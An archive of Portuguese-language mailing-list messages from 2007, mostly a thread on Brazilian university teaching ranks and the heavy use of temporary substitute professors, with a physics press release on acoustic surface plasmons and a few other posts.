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SUBJECT: Re: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 10:45

Ola,
Para seleção de professor substituto não é necessário concurso público,
é feita apenas uma processo simplificado. Ele tem um contrato por tempo
de determinado, 1 ano, prorrogável por mais 1.
Os Auxiliar, Assistente, Adjunto, Associado são professores
concursados, com carreira estável. Eles são níveis da mesma carreira. Em
princípio, o auxiliar é só graduado, o assistente tem mestrado, o
adjunto tem doutorado. O associado é uma categoria nova nas federais,
criada o ano passado, e tem que ter, além de doutorado, produção
científica. Estas categorias mudam entre particulares, estaduais e
federais. Apesar de que em princípio, você tem que ter mestrado para
passar para assisnte, existem brechas na lei e tem gente que passa sem
mestrado.
O titular, nas federais é uma carreira a parte, é necessário fazer
concurso especificamente para esta categoria.
Na realidade, nas federais, a única diferença prática entre as classes é
salarial. As funções, direitos e obrigações são as mesmas entre todas.
Professor convidado não é uma classe ou categoria, são professores
visitantes de outra instituição, ou aposentados, ou estrangeiros que
fazem pesquisa e ministram aula, mas na realidade não têm vínculo
trabalhista com a universidade.
ita


Marcelo Cortimiglia escreveu:
> Dirceu,
>
> ate onde sei, sim. Nas universidades federais, sao contratos de um ano,
> prorrogaveis por mais um. Embora cada Departamento possa instituir suas
> proprias regras, normalmente nao ha titulacao minima necessaria (alem,
> claro, da graduacao). Da mesma forma, a selecao costuma envolver entrevista
> e analise de curriculo.
>
> Abracos,
>

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Itabajara da Silva Vaz Junior
Centro de Biotecnologia - UFRGS
C.P. 15005
Av. Bento Goncalves 9500
Predio 43421 - Campus do Vale
91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73-09 [00 55 51 3308 7309]
http://www.ufrgs.br/depbiot/201/cbt201.htm
http://www.ufrgs.br/favet/imunovet



SUBJECT: Re: Res: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 10:46

sim..1 ano, renovado por mais 1.

Dirceu Dias escreveu:
> E o professor substituto? É por prazo determinado?
>
> DDias
>
>
>
>
> ----- Mensagem original ----
> De: rmtakata <roberto.takata@bol.com.br>
> Para: ciencialist@yahoogrupos.com.br
> Enviadas: Terça-feira, 10 de Julho de 2007 12:49:42
> Assunto: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
>
> --- Em ciencialist@ yahoogrupos. com.br, "Luis Brudna" <luisbrudna@ ...>
>
>> Qual eh a diferenca entre professor assistente e adjunto?
>>
>
> O Prof. Assistente tem título de mestrado. O Adjunto tem doutorado.
>
> []s,
>
> Roberto Takata
>
>
>
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SUBJECT: Res: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: Dirceu Dias <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 11:15

E ai vai a pergunta crucial:

Qual o motivo de ter tantas vagas para professor substituto nas universidades federais e quase nenhuma para professor concursado (estável)?

Dirceu Dias


----- Mensagem original ----
De: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 12 de Julho de 2007 10:45:43
Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...

Ola,
Para seleção de professor substituto não é necessário concurso público,
é feita apenas uma processo simplificado. Ele tem um contrato por tempo
de determinado, 1 ano, prorrogável por mais 1.
Os Auxiliar, Assistente, Adjunto, Associado são professores
concursados, com carreira estável. Eles são níveis da mesma carreira. Em
princípio, o auxiliar é só graduado, o assistente tem mestrado, o
adjunto tem doutorado. O associado é uma categoria nova nas federais,
criada o ano passado, e tem que ter, além de doutorado, produção
científica. Estas categorias mudam entre particulares, estaduais e
federais. Apesar de que em princípio, você tem que ter mestrado para
passar para assisnte, existem brechas na lei e tem gente que passa sem
mestrado.
O titular, nas federais é uma carreira a parte, é necessário fazer
concurso especificamente para esta categoria.
Na realidade, nas federais, a única diferença prática entre as classes é
salarial. As funções, direitos e obrigações são as mesmas entre todas.
Professor convidado não é uma classe ou categoria, são professores
visitantes de outra instituição, ou aposentados, ou estrangeiros que
fazem pesquisa e ministram aula, mas na realidade não têm vínculo
trabalhista com a universidade.
ita

Marcelo Cortimiglia escreveu:
> Dirceu,
>
> ate onde sei, sim. Nas universidades federais, sao contratos de um ano,
> prorrogaveis por mais um. Embora cada Departamento possa instituir suas
> proprias regras, normalmente nao ha titulacao minima necessaria (alem,
> claro, da graduacao). Da mesma forma, a selecao costuma envolver entrevista
> e analise de curriculo.
>
> Abracos,
>

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Itabajara da Silva Vaz Junior
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SUBJECT: Experimentos com o proprio corpo
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 11:28

No Gluon Blog adaptei dois textos sobre cientistas que realizaram
experimentos em seu proprio corpo.

Escala de ferroadas e o ritual
http://www.gluon.com.br/blog/2007/07/11/escala-dor-ferroadas/

Transplante de testículos de macacos em seres humanos
http://www.gluon.com.br/blog/2007/06/20/testiculos-homens-macacos/

Alguem lembra de mais algum caso? Com certeza devem existir mais.

Ateh
Luis Brudna


=-=-=-


SUBJECT: Re: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/07/2007 11:40

Caro Dirceu,

Não falo por todas as IFES, mas na UTFPR as vagas para professor substituto
surgem justamente porque o MEC não autoriza o aumento de vagas para
professor concursado. No fim, é uma espécie de terceirização, e é muito
desagradável saber que aquele colega, com o qual você se acostumou e que
mostrou competência e dedicação, não estará mais lá depois de dois anos.

[ ]s

Alvaro Augusto


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From: "Dirceu Dias" <hymboldt2005@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 12, 2007 11:15 AM
Subject: Res: [ciencialist] Re: Professor adjunto, assistente, titular,
convidado...


E ai vai a pergunta crucial:

Qual o motivo de ter tantas vagas para professor substituto nas
universidades federais e quase nenhuma para professor concursado (estável)?

Dirceu Dias


----- Mensagem original ----
De: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 12 de Julho de 2007 10:45:43
Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular,
convidado...

Ola,
Para seleção de professor substituto não é necessário concurso público,
é feita apenas uma processo simplificado. Ele tem um contrato por tempo
de determinado, 1 ano, prorrogável por mais 1.
Os Auxiliar, Assistente, Adjunto, Associado são professores
concursados, com carreira estável. Eles são níveis da mesma carreira. Em
princípio, o auxiliar é só graduado, o assistente tem mestrado, o
adjunto tem doutorado. O associado é uma categoria nova nas federais,
criada o ano passado, e tem que ter, além de doutorado, produção
científica. Estas categorias mudam entre particulares, estaduais e
federais. Apesar de que em princípio, você tem que ter mestrado para
passar para assisnte, existem brechas na lei e tem gente que passa sem
mestrado.
O titular, nas federais é uma carreira a parte, é necessário fazer
concurso especificamente para esta categoria.
Na realidade, nas federais, a única diferença prática entre as classes é
salarial. As funções, direitos e obrigações são as mesmas entre todas.
Professor convidado não é uma classe ou categoria, são professores
visitantes de outra instituição, ou aposentados, ou estrangeiros que
fazem pesquisa e ministram aula, mas na realidade não têm vínculo
trabalhista com a universidade.
ita

Marcelo Cortimiglia escreveu:
> Dirceu,
>
> ate onde sei, sim. Nas universidades federais, sao contratos de um ano,
> prorrogaveis por mais um. Embora cada Departamento possa instituir suas
> proprias regras, normalmente nao ha titulacao minima necessaria (alem,
> claro, da graduacao). Da mesma forma, a selecao costuma envolver
> entrevista
> e analise de curriculo.
>
> Abracos,
>

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Itabajara da Silva Vaz Junior
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C.P. 15005
Av. Bento Goncalves 9500
Predio 43421 - Campus do Vale
91501-970 Porto Alegre RS Brasil
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[As partes desta mensagem que não continham texto foram removidas]




SUBJECT: Existence of a new type of electron wave on metal surfaces
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 11:44

UNH Researchers Prove Existence Of New Type Of Electron Wave
Contact: Beth Potier
603-862-1566
UNH Media Relations
July 5, 2007
DURHAM, N.H. - New research led by University of New Hampshire physicists
has proved the existence of a new type of electron wave on metal surfaces:
the acoustic surface plasmon, which will have implications for developments
in nano-optics, high-temperature superconductors, and the fundamental
understanding of chemical reactions on surfaces. The research, led by Bogdan
Diaconescu and Karsten Pohl of UNH, is published in the July 5 issue of the
journal "Nature."

"The existence of this wave means that the electrons on the surfaces of
copper, iron, beryllium and other metals behave like water on a lake's
surface," says Pohl, associate professor of physics at UNH. "When a stone is
thrown into a lake, waves spread radially in all directions. A similar wave
can be created by the electrons on a metal surface when they are disturbed,
for instance, by light."

Acoustic surface plasmons have long been predicted on merely theoretical
grounds, their existence has been extraordinarily difficult to prove
experimentally. "Just one year ago, another group of scientists concluded
that these waves do not exist," says Diaconescu, a postdoctoral research
associate in the Condensed Matter Group of the physics department at UNH.
"These researchers have probably not been able to find the acoustic plasmon
because the experiments require extreme precision and great patience. One
attempt after the other did not show anything if, for example, the surface
was not prepared well enough or the detectors were not adjusted precisely
enough."

The new experiment that found the acoustic surface plasmon used an extremely
precise electron gun, which shoots slow electrons on a specially prepared
surface of a beryllium crystal. When the electrons are reflected back from
the electron lake on the surface of the metal, some of them lose an amount
of energy that corresponds to the excitation of an acoustic plasmon wave.
This energy loss could be measured with a detector that was placed in an
ultra-high vacuum chamber, together with the beryllium sample. The energy
loss is small but corresponds exactly to the theoretical prediction.

Research on metal surfaces is important for the development of new
industrial catalysts and for the cleaning the exhaust of factories and cars.
As the new plasmons are very likely to play a role in chemical reactions on
metal surfaces, theoretical and experimental research will have to take them
into account as a new phenomenon in the future. In addition, there are
several promising perspectives in nano-microscopy and optical signal
processing when the new plasmons are excited directly with light diffracted
off very small nano-features. The researchers estimate that, depending on
their energy, the waves spread down to a few nanometers (one millionth of a
millimeter), and die out after a few femtoseconds (one millionth of a
billionth of a second) after they have been created, thus witnessing very
fast chemical processes at the atomic scale.

Another potential application is using the waves to carry optical signals
along nanometer-wide channels for up to few micrometers and as such allowing
the integration of optical signal propagation and processing devices on
nanometer-length scales. And one of the most interesting but still very
speculative applications of the plasmons relates to high temperature
superconductivity. It is known today that the superconductivity happens in
two-dimensional sheets in the material, which give rise to the special
electron pairs which can move without resistance through the conductor. How
this happens precisely is unclear but acoustic plasmons could be part of the
explanation. If this is the case, it is a great advantage that it is now
possible to study the new acoustic plasmons on surfaces, where they is much
easier to probe them than inside the material.

Diaconescu and Pohl received funding for this research from the National
Science Foundation.

To download the paper, "Low-energy acoustic plasmons at metal surfaces,"
click here: http://unh.edu/news/docs/plasmons.pdf

An image is available to download here:
http://davinci.unh.edu/~bogdan/docu/ASP_Be(0001)/ASP-and-SP_Be0001.tif
Description: When a small charge is placed close to a metal surface,
standing electron waves are created. These are shown in the lower part of
the figure. Another type of waves, called plasmons, are created when the
charge is slightly jiggled. These plasmons, which need a rather high energy
to be excited, have been known for a long time and are present on the
surfaces of all metals. Bogdan Diaconescu and Karsten Pohl with their
colleagues have now proved the existence of a new type of plasmon, called
"acoustic," which can be excited with any energy (wavelength) and which can
therefore be compared to water waves in a lake. The new type of wave is
superimposed on the standing waves and is shown in the upper part of the
figure.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Res: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: Dirceu Dias <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 12:11

Como é possível "educar" desta forma?

Isto sim é um estelionato...

O site do Prossiga mostra dezenas de vagas para professor substituto.

Substituto do que?

DDias


----- Mensagem original ----
De: Alvaro Augusto (U) <alvaro@daelt.sh06.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 12 de Julho de 2007 11:40:29
Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...

Caro Dirceu,

Não falo por todas as IFES, mas na UTFPR as vagas para professor substituto
surgem justamente porque o MEC não autoriza o aumento de vagas para
professor concursado. No fim, é uma espécie de terceirização, e é muito
desagradável saber que aquele colega, com o qual você se acostumou e que
mostrou competência e dedicação, não estará mais lá depois de dois anos.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "Dirceu Dias" <hymboldt2005@ yahoo.com. br>
To: <ciencialist@ yahoogrupos. com.br>
Sent: Thursday, July 12, 2007 11:15 AM
Subject: Res: [ciencialist] Re: Professor adjunto, assistente, titular,
convidado...

E ai vai a pergunta crucial:

Qual o motivo de ter tantas vagas para professor substituto nas
universidades federais e quase nenhuma para professor concursado (estável)?

Dirceu Dias

----- Mensagem original ----
De: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs. br>
Para: ciencialist@ yahoogrupos. com.br
Enviadas: Quinta-feira, 12 de Julho de 2007 10:45:43
Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular,
convidado...

Ola,
Para seleção de professor substituto não é necessário concurso público,
é feita apenas uma processo simplificado. Ele tem um contrato por tempo
de determinado, 1 ano, prorrogável por mais 1.
Os Auxiliar, Assistente, Adjunto, Associado são professores
concursados, com carreira estável. Eles são níveis da mesma carreira. Em
princípio, o auxiliar é só graduado, o assistente tem mestrado, o
adjunto tem doutorado. O associado é uma categoria nova nas federais,
criada o ano passado, e tem que ter, além de doutorado, produção
científica. Estas categorias mudam entre particulares, estaduais e
federais. Apesar de que em princípio, você tem que ter mestrado para
passar para assisnte, existem brechas na lei e tem gente que passa sem
mestrado.
O titular, nas federais é uma carreira a parte, é necessário fazer
concurso especificamente para esta categoria.
Na realidade, nas federais, a única diferença prática entre as classes é
salarial. As funções, direitos e obrigações são as mesmas entre todas.
Professor convidado não é uma classe ou categoria, são professores
visitantes de outra instituição, ou aposentados, ou estrangeiros que
fazem pesquisa e ministram aula, mas na realidade não têm vínculo
trabalhista com a universidade.
ita

Marcelo Cortimiglia escreveu:
> Dirceu,
>
> ate onde sei, sim. Nas universidades federais, sao contratos de um ano,
> prorrogaveis por mais um. Embora cada Departamento possa instituir suas
> proprias regras, normalmente nao ha titulacao minima necessaria (alem,
> claro, da graduacao). Da mesma forma, a selecao costuma envolver
> entrevista
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>
> Abracos,
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SUBJECT: Re: Res: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 12:52

O motivo é que professor substituto é mais barato e não é estável, assim
o MEC faz um tapa buraco e economiza...


Dirceu Dias escreveu:
> E ai vai a pergunta crucial:
>
> Qual o motivo de ter tantas vagas para professor substituto nas universidades federais e quase nenhuma para professor concursado (estável)?
>
> Dirceu Dias
>
>
> ----- Mensagem original ----
> De: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
> Para: ciencialist@yahoogrupos.com.br
> Enviadas: Quinta-feira, 12 de Julho de 2007 10:45:43
> Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
>
> Ola,
> Para seleção de professor substituto não é necessário concurso público,
> é feita apenas uma processo simplificado. Ele tem um contrato por tempo
> de determinado, 1 ano, prorrogável por mais 1.
> Os Auxiliar, Assistente, Adjunto, Associado são professores
> concursados, com carreira estável. Eles são níveis da mesma carreira. Em
> princípio, o auxiliar é só graduado, o assistente tem mestrado, o
> adjunto tem doutorado. O associado é uma categoria nova nas federais,
> criada o ano passado, e tem que ter, além de doutorado, produção
> científica. Estas categorias mudam entre particulares, estaduais e
> federais. Apesar de que em princípio, você tem que ter mestrado para
> passar para assisnte, existem brechas na lei e tem gente que passa sem
> mestrado.
> O titular, nas federais é uma carreira a parte, é necessário fazer
> concurso especificamente para esta categoria.
> Na realidade, nas federais, a única diferença prática entre as classes é
> salarial. As funções, direitos e obrigações são as mesmas entre todas.
> Professor convidado não é uma classe ou categoria, são professores
> visitantes de outra instituição, ou aposentados, ou estrangeiros que
> fazem pesquisa e ministram aula, mas na realidade não têm vínculo
> trabalhista com a universidade.
> ita
>
> Marcelo Cortimiglia escreveu:
>
>> Dirceu,
>>
>> ate onde sei, sim. Nas universidades federais, sao contratos de um ano,
>> prorrogaveis por mais um. Embora cada Departamento possa instituir suas
>> proprias regras, normalmente nao ha titulacao minima necessaria (alem,
>> claro, da graduacao). Da mesma forma, a selecao costuma envolver entrevista
>> e analise de curriculo.
>>
>> Abracos,
>>
>>
>
>

--
Itabajara da Silva Vaz Junior
Centro de Biotecnologia - UFRGS
C.P. 15005
Av. Bento Goncalves 9500
Predio 43421 - Campus do Vale
91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73-09 [00 55 51 3308 7309]
http://www.ufrgs.br/depbiot/201/cbt201.htm
http://www.ufrgs.br/favet/imunovet



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Res: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 13:00

Por este motivo é que as associações de professores são contra o uso
rotineiro de professor substituto. Não tem como garantir a qualidade do
ensino.
A razão do professor substitulo era que quando existia uma demissão ou
aposentadoria, você rapidamente contratava um substituto e este ficava
até você conseguir organizar um novo concurso público, que é um processo
longo. Só que o MEC está usando a contratação dos profs substituto como
economia..


Dirceu Dias escreveu:
> Como é possível "educar" desta forma?
>
> Isto sim é um estelionato...
>
> O site do Prossiga mostra dezenas de vagas para professor substituto.
>
> Substituto do que?
>
> DDias
>
>
> ----- Mensagem original ----
> De: Alvaro Augusto (U) <alvaro@daelt.sh06.com>
> Para: ciencialist@yahoogrupos.com.br
> Enviadas: Quinta-feira, 12 de Julho de 2007 11:40:29
> Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
>
> Caro Dirceu,
>
> Não falo por todas as IFES, mas na UTFPR as vagas para professor substituto
> surgem justamente porque o MEC não autoriza o aumento de vagas para
> professor concursado. No fim, é uma espécie de terceirização, e é muito
> desagradável saber que aquele colega, com o qual você se acostumou e que
> mostrou competência e dedicação, não estará mais lá depois de dois anos.
>
> [ ]s
>
> Alvaro Augusto
>
> ----- Original Message -----
> From: "Dirceu Dias" <hymboldt2005@ yahoo.com. br>
> To: <ciencialist@ yahoogrupos. com.br>
> Sent: Thursday, July 12, 2007 11:15 AM
> Subject: Res: [ciencialist] Re: Professor adjunto, assistente, titular,
> convidado...
>
> E ai vai a pergunta crucial:
>
> Qual o motivo de ter tantas vagas para professor substituto nas
> universidades federais e quase nenhuma para professor concursado (estável)?
>
> Dirceu Dias
>
> ----- Mensagem original ----
> De: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs. br>
> Para: ciencialist@ yahoogrupos. com.br
> Enviadas: Quinta-feira, 12 de Julho de 2007 10:45:43
> Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular,
> convidado...
>
> Ola,
> Para seleção de professor substituto não é necessário concurso público,
> é feita apenas uma processo simplificado. Ele tem um contrato por tempo
> de determinado, 1 ano, prorrogável por mais 1.
> Os Auxiliar, Assistente, Adjunto, Associado são professores
> concursados, com carreira estável. Eles são níveis da mesma carreira. Em
> princípio, o auxiliar é só graduado, o assistente tem mestrado, o
> adjunto tem doutorado. O associado é uma categoria nova nas federais,
> criada o ano passado, e tem que ter, além de doutorado, produção
> científica. Estas categorias mudam entre particulares, estaduais e
> federais. Apesar de que em princípio, você tem que ter mestrado para
> passar para assisnte, existem brechas na lei e tem gente que passa sem
> mestrado.
> O titular, nas federais é uma carreira a parte, é necessário fazer
> concurso especificamente para esta categoria.
> Na realidade, nas federais, a única diferença prática entre as classes é
> salarial. As funções, direitos e obrigações são as mesmas entre todas.
> Professor convidado não é uma classe ou categoria, são professores
> visitantes de outra instituição, ou aposentados, ou estrangeiros que
> fazem pesquisa e ministram aula, mas na realidade não têm vínculo
> trabalhista com a universidade.
> ita
>
> Marcelo Cortimiglia escreveu:
>
>> Dirceu,
>>
>> ate onde sei, sim. Nas universidades federais, sao contratos de um ano,
>> prorrogaveis por mais um. Embora cada Departamento possa instituir suas
>> proprias regras, normalmente nao ha titulacao minima necessaria (alem,
>> claro, da graduacao). Da mesma forma, a selecao costuma envolver
>> entrevista
>> e analise de curriculo.
>>
>> Abracos,
>>
>>
>
>

--
Itabajara da Silva Vaz Junior
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C.P. 15005
Av. Bento Goncalves 9500
Predio 43421 - Campus do Vale
91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73-09 [00 55 51 3308 7309]
http://www.ufrgs.br/depbiot/201/cbt201.htm
http://www.ufrgs.br/favet/imunovet



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/07/2007 13:47

Substituto de um concursado que ainda não existe...

Outros termos, como "temporário" ou "tampão", seriam ainda piores. Em
reuniões ou em conversas, prefiro sempre dizer "não concursado". Dá na
mesma, mas pelo menos não ofende ninguém.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Dirceu Dias" <hymboldt2005@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 12, 2007 12:11 PM
Subject: Res: [ciencialist] Re: Professor adjunto, assistente, titular,
convidado...


Como é possível "educar" desta forma?

Isto sim é um estelionato...

O site do Prossiga mostra dezenas de vagas para professor substituto.

Substituto do que?

DDias


----- Mensagem original ----
De: Alvaro Augusto (U) <alvaro@daelt.sh06.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 12 de Julho de 2007 11:40:29
Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular,
convidado...

Caro Dirceu,

Não falo por todas as IFES, mas na UTFPR as vagas para professor substituto
surgem justamente porque o MEC não autoriza o aumento de vagas para
professor concursado. No fim, é uma espécie de terceirização, e é muito
desagradável saber que aquele colega, com o qual você se acostumou e que
mostrou competência e dedicação, não estará mais lá depois de dois anos.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "Dirceu Dias" <hymboldt2005@ yahoo.com. br>
To: <ciencialist@ yahoogrupos. com.br>
Sent: Thursday, July 12, 2007 11:15 AM
Subject: Res: [ciencialist] Re: Professor adjunto, assistente, titular,
convidado...

E ai vai a pergunta crucial:

Qual o motivo de ter tantas vagas para professor substituto nas
universidades federais e quase nenhuma para professor concursado (estável)?

Dirceu Dias

----- Mensagem original ----
De: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs. br>
Para: ciencialist@ yahoogrupos. com.br
Enviadas: Quinta-feira, 12 de Julho de 2007 10:45:43
Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular,
convidado...

Ola,
Para seleção de professor substituto não é necessário concurso público,
é feita apenas uma processo simplificado. Ele tem um contrato por tempo
de determinado, 1 ano, prorrogável por mais 1.
Os Auxiliar, Assistente, Adjunto, Associado são professores
concursados, com carreira estável. Eles são níveis da mesma carreira. Em
princípio, o auxiliar é só graduado, o assistente tem mestrado, o
adjunto tem doutorado. O associado é uma categoria nova nas federais,
criada o ano passado, e tem que ter, além de doutorado, produção
científica. Estas categorias mudam entre particulares, estaduais e
federais. Apesar de que em princípio, você tem que ter mestrado para
passar para assisnte, existem brechas na lei e tem gente que passa sem
mestrado.
O titular, nas federais é uma carreira a parte, é necessário fazer
concurso especificamente para esta categoria.
Na realidade, nas federais, a única diferença prática entre as classes é
salarial. As funções, direitos e obrigações são as mesmas entre todas.
Professor convidado não é uma classe ou categoria, são professores
visitantes de outra instituição, ou aposentados, ou estrangeiros que
fazem pesquisa e ministram aula, mas na realidade não têm vínculo
trabalhista com a universidade.
ita

Marcelo Cortimiglia escreveu:
> Dirceu,
>
> ate onde sei, sim. Nas universidades federais, sao contratos de um ano,
> prorrogaveis por mais um. Embora cada Departamento possa instituir suas
> proprias regras, normalmente nao ha titulacao minima necessaria (alem,
> claro, da graduacao). Da mesma forma, a selecao costuma envolver
> entrevista
> e analise de curriculo.
>
> Abracos,
>

--
Itabajara da Silva Vaz Junior
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C.P. 15005
Av. Bento Goncalves 9500
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91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73- 09 [00 55 51 3308 7309]
http://www.ufrgs. br/depbiot/ 201/cbt201. htm
http://www.ufrgs. br/favet/ imunovet




SUBJECT: Re: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 14:02

eles está substituindo um professor aposentado/demitido em uma vaga que
existe. A vaga existe, só não está ocupada por um concursado.
ita


Alvaro Augusto (U) escreveu:
> Substituto de um concursado que ainda não existe...
>
> Outros termos, como "temporário" ou "tampão", seriam ainda piores. Em
> reuniões ou em conversas, prefiro sempre dizer "não concursado". Dá na
> mesma, mas pelo menos não ofende ninguém.
>
> [ ]s
>
> Alvaro Augusto
>
>
>
> ----- Original Message -----
> From: "Dirceu Dias" <hymboldt2005@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, July 12, 2007 12:11 PM
> Subject: Res: [ciencialist] Re: Professor adjunto, assistente, titular,
> convidado...
>
>
> Como é possível "educar" desta forma?
>
> Isto sim é um estelionato...
>
> O site do Prossiga mostra dezenas de vagas para professor substituto.
>
> Substituto do que?
>
> DDias
>
>
> ----- Mensagem original ----
> De: Alvaro Augusto (U) <alvaro@daelt.sh06.com>
> Para: ciencialist@yahoogrupos.com.br
> Enviadas: Quinta-feira, 12 de Julho de 2007 11:40:29
> Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular,
> convidado...
>
> Caro Dirceu,
>
> Não falo por todas as IFES, mas na UTFPR as vagas para professor substituto
> surgem justamente porque o MEC não autoriza o aumento de vagas para
> professor concursado. No fim, é uma espécie de terceirização, e é muito
> desagradável saber que aquele colega, com o qual você se acostumou e que
> mostrou competência e dedicação, não estará mais lá depois de dois anos.
>
> [ ]s
>
> Alvaro Augusto
>
> ----- Original Message -----
> From: "Dirceu Dias" <hymboldt2005@ yahoo.com. br>
> To: <ciencialist@ yahoogrupos. com.br>
> Sent: Thursday, July 12, 2007 11:15 AM
> Subject: Res: [ciencialist] Re: Professor adjunto, assistente, titular,
> convidado...
>
> E ai vai a pergunta crucial:
>
> Qual o motivo de ter tantas vagas para professor substituto nas
> universidades federais e quase nenhuma para professor concursado (estável)?
>
> Dirceu Dias
>
> ----- Mensagem original ----
> De: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs. br>
> Para: ciencialist@ yahoogrupos. com.br
> Enviadas: Quinta-feira, 12 de Julho de 2007 10:45:43
> Assunto: Re: [ciencialist] Re: Professor adjunto, assistente, titular,
> convidado...
>
> Ola,
> Para seleção de professor substituto não é necessário concurso público,
> é feita apenas uma processo simplificado. Ele tem um contrato por tempo
> de determinado, 1 ano, prorrogável por mais 1.
> Os Auxiliar, Assistente, Adjunto, Associado são professores
> concursados, com carreira estável. Eles são níveis da mesma carreira. Em
> princípio, o auxiliar é só graduado, o assistente tem mestrado, o
> adjunto tem doutorado. O associado é uma categoria nova nas federais,
> criada o ano passado, e tem que ter, além de doutorado, produção
> científica. Estas categorias mudam entre particulares, estaduais e
> federais. Apesar de que em princípio, você tem que ter mestrado para
> passar para assisnte, existem brechas na lei e tem gente que passa sem
> mestrado.
> O titular, nas federais é uma carreira a parte, é necessário fazer
> concurso especificamente para esta categoria.
> Na realidade, nas federais, a única diferença prática entre as classes é
> salarial. As funções, direitos e obrigações são as mesmas entre todas.
> Professor convidado não é uma classe ou categoria, são professores
> visitantes de outra instituição, ou aposentados, ou estrangeiros que
> fazem pesquisa e ministram aula, mas na realidade não têm vínculo
> trabalhista com a universidade.
> ita
>
> Marcelo Cortimiglia escreveu:
>
>> Dirceu,
>>
>> ate onde sei, sim. Nas universidades federais, sao contratos de um ano,
>> prorrogaveis por mais um. Embora cada Departamento possa instituir suas
>> proprias regras, normalmente nao ha titulacao minima necessaria (alem,
>> claro, da graduacao). Da mesma forma, a selecao costuma envolver
>> entrevista
>> e analise de curriculo.
>>
>> Abracos,
>>
>>
>
>

--
Itabajara da Silva Vaz Junior
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Av. Bento Goncalves 9500
Predio 43421 - Campus do Vale
91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73-09 [00 55 51 3308 7309]
http://www.ufrgs.br/depbiot/201/cbt201.htm
http://www.ufrgs.br/favet/imunovet



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Res: Res: [ciencialist] Re: Dúvida química
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 14:21

Takata,

Muitoooo Obrigadoooo!!!
Valeu mesmo pela ajuda!!!!

Brigadão!!!

Aline


----- Mensagem original ----
De: rmtakata <roberto.takata@bol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Terça-feira, 10 de Julho de 2007 17:15:48
Assunto: Res: [ciencialist] Re: Dúvida química


--- Em ciencialist@yahoogrupos.com.br, Aline Santos
> Ainda não consegui... acho que este exercício queimou meus
> neurônios...Os meus cálculos seguem abaixo.
>
> --- Em ciencialist@yahoogrupos.com.br, Aline Santos
> > - O pH de uma amostra de resíduo industrial líquido é igual a 2.
